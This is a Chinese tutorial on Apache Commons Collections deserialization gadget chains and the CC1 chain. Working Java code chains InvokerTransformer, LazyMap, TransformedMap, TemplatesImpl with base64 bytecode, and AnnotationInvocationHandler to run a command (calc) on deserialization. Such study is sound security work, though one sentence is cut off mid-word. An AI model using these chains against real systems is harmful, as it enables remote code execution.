CC链 反序列化

image-20240401202109805

CC链简介

Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。CC链 编写的是测试代码,和 ysoserial 中的稍有不同。 下面的是经常用到的 非常重要 的Transformer接口的实现类。

ConstantTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是获取一个对象类型,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class ConstantTransformer implements Transformer, Serializable {

private static final long serialVersionUID = 6374440726369055124L;

public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

private final Object iConstant;

public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}

//构造函数
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

//重写的transform方法,获取一个对象类型
public Object transform(Object input) {
return iConstant;
}
public Object getConstant() {
return iConstant;
}

}

InvokerTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法,反射调用指定的方法并返回方法调用结果
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName,
this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch …………
}
}
}

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;



// 测试 InvokerTransformer
public class Test {
public static void main(String[] args) {
Transformer transformer2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
transformer2.transform(Runtime.getRuntime());
}
}

###输出
弹出计算器

InstantiateTransformer

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用构造函数将类实例化,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class InstantiateTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3786388740793356347L;
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法,反射调用构造函数将类实例化。
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Student 类
public class Student {
public Student(String name) {
System.out.println("学生姓名:" + name);
}
}
// 测试 InstantiateTransformer
public class Test {
public static void main(String[] args) {
Transformer instantiateTransformer = new InstantiateTransformer(new
Class[]{String.class}, new Object[]{"小明"});
instantiateTransformer.transform(Student.class);
}
}
###输出
学生姓名:小明
Process finished with exit code 0

ChainedTransformer

Transformer 接口的实现类,并重写了其接口类的 transformer 方法。其 transform 方法作用是实现数组链式调用。我们只需传入一个 Transformer[] 给 ChainedTransformer,然后执行 ChainedTransformer 的 transform 方法便可以链式调用 Transformer[] 中每个 Transformer 的 transform 方法。关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
//构造函数
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//重写的 transform 方法,链式调用 Transformer[] 中每个 Transformer 的 transform
方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}

Demo:( 很重要 利用 ChainedTransformer 实现 Runtime.getRuntime().exec(“calc”) )

这个是反射调用exec和利用Transformer调用的对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
//Method Runtime = c.getMethod("getRuntime",null);
Method Runtime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
//Runtime r = (Runtime) Runtime.invoke(null,null);
Runtime r = (java.lang.Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(Runtime);
//Method exec = c.getMethod("exec", String.class);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//exec.invoke(r,"calc");
}
}

利用ChainedTransformer进行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;
// 测试 ChainedTransformer
public class Test {
public static void main(String[] args) throws Exception{
//Transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

//ChainedTransformer实例
Transformer chain = new ChainedTransformer(transformers);
chain.transform("test1111");
}
}

那么我们如何触发 ChainedTransformer 的 transform 方法呢?这就引出了 LazyMap 类。

LazyMap(重要)

其 get 方法中可以触发 ChainedTransformer 的 transform 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
//可控制 factory 为 ChainedTransformer
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
//利用 get 方法可实现调用 ChainedTransformer#transform()
public Object get(Object key) {
if (!super.map.containsKey(key)) {
//关键点
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;

// 测试 ChainedTransformer
public class Test {
public static void main(String[] args) throws Exception{
//Transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

//ChainedTransformer实例
Transformer chain = new ChainedTransformer(transformers);
//这里什么map都行,只要类型是map就行
Map map = new TreeMap<>();
Map lazy = LazyMap.decorate(map,chain);
lazy.get("test");

}
}

###输出
弹出计算器

那么如何反序列化时触发 L

TemplatesImpl(重要)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public final class TemplatesImpl implements Templates, Serializable {
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
//关键方法:newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
// 关键点,调用 getTransletInstance()
transformer = new TransformerImpl(getTransletInstance(),
_outputProperties,
_indentNumber, _tfactory);
}
//继续跟进 getTransletInstance() 方法:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
//先判断是否为 null,如果为 null 的话去加载字节码,紧接着 newInstance() 对其
实例化。
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].newInstance();
…………
}
}
//继续跟进 defineTransletClasses() 方法:
private void defineTransletClasses()
throws TransformerConfigurationException {
…………
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new
TransletClassLoader(ObjectFactory.findClassLoader());
}
});
…………
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //关键点
final Class superClass = _class[i].getSuperclass();
}
}
//继续跟进 TransletClassLoader,这个类里重写了 defineClass 方法
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length); //关键点
}
}
}

恶意字节码的生成:

HelloTemplatesImpl.java,主要其必须继承 AbstractTranslet 类,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class HelloTemplatesImpl extends AbstractTranslet {
public HelloTemplatesImpl() {
super();
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

我们将其编译为 HelloTemplatesImpl.class,然后进行 Base64 编码,得到如下结果:

1
yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAJAAQACwANAA4AEAAMABEADQAVAA8ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj

测试 TemplatesImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;

import java.lang.reflect.Field;

public class Test {
public static void setFieldValue(Object object, String fieldName, Object value){
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) throws Exception{
byte[] bytes = Base64.decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAJAAQACwANAA4AEAAMABEADQAVAA8ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","HelloTemplatesImpl");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

templates.newTransformer();
}
}

所以我们只需传入恶意字节码给 TemplatesImpl,然后调用其 newTransformer 方法。那么有没有类可以调用 TemplatesImpl.newTransformer(),这里先介绍一个构造 CC3 中将会用到的类 TrAXFilter,下面是其构造函数:

1
2
3
4
5
6
7
8
9
10
public class TrAXFilter extends XMLFilterImpl {
//构造函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); //关键点
…………
}
}

测试 TrAXFilter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;

// 测试 TrAXFilter
public class Test {
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object
value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws TransformerConfigurationException {
byte[] bytes = Base64.decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAJAAQACwANAA4AEAAMABEADQAVAA8ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","HelloTemplatesImpl");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

}
}

###输出
弹出计算器

CC1

image-20240401225549195image-20240401225549195

环境搭建

jdk为8u65

InvokerTransformer.transform

CC1漏洞点在 InvokerTransformer

InvokerTransformer

image-20240401232841292

可以看到这个类的 transform 方法中有任意方法调用

做个 demo

先用反射调用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class RunTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec",String.class);
method.invoke(runtime,"calc");
}
}

image-20240401232921196

然后使用这个类进行任意方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class RunTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}

image-20240401234053202

然后看哪个类调用 transform 方法

TransformedMap.checkSetValue

找到了 TransformedMap 方法

image-20240401234346452

这里会调用 transform 方法

看一下构造函数

image-20240401234423771

简单理解为对传入的 key 与 value 进行操作,操作内容就在传入的 Transformer 里面,就是说只要我们把 valueTransformer 设置为 InvokerTransformer ,那么调用 checkSetValue 的时候就会调用其transform 方法

接着我们寻找调用了 TransformedMap.checkSetValue 的类

AbstractInputCheckedMapDecorator.MapEntry

找到了 AbstractInputCheckedMapDecorator 类,注意 AbstractInputCheckedMapDecorator 是TransformedMap 的父类

image-20240402000120986

在 MapEntry 中调用了 checkSetValue 方法,而 MapEntry 是在遍历Map的时候会调用

继续测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class RunTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
for (Map.Entry<Object, Object> map:transformedMap.entrySet()){
System.out.println("1");
map.setValue(runtime);
}
}
}

image-20240402002332518

然后我们看看有谁的 readObject 调用了 setvalue

AnnotationInvocationHandler.readObject

在 jdk8u71 前 , 该类的源码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new
AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 +
"]")).setMember((Method)var2.members().get(var6)));
}
}
}

这里有一个 setValue() 函数

因为AnnotationInvocationHandler未有描述,默认为Default类,只能通过反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class RunTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
// for (Map.Entry<Object, Object> map:transformedMap.entrySet()){
// System.out.println("1");
// map.setValue(runtime);
// }

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o =constructor.newInstance(Override.class,transformedMap);

serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

一些小问题

第一个就是我们之前 setValue 的时候直接设置Runtime对象,而这里是AnnotationTypeMismatchExceptionProxy 对象

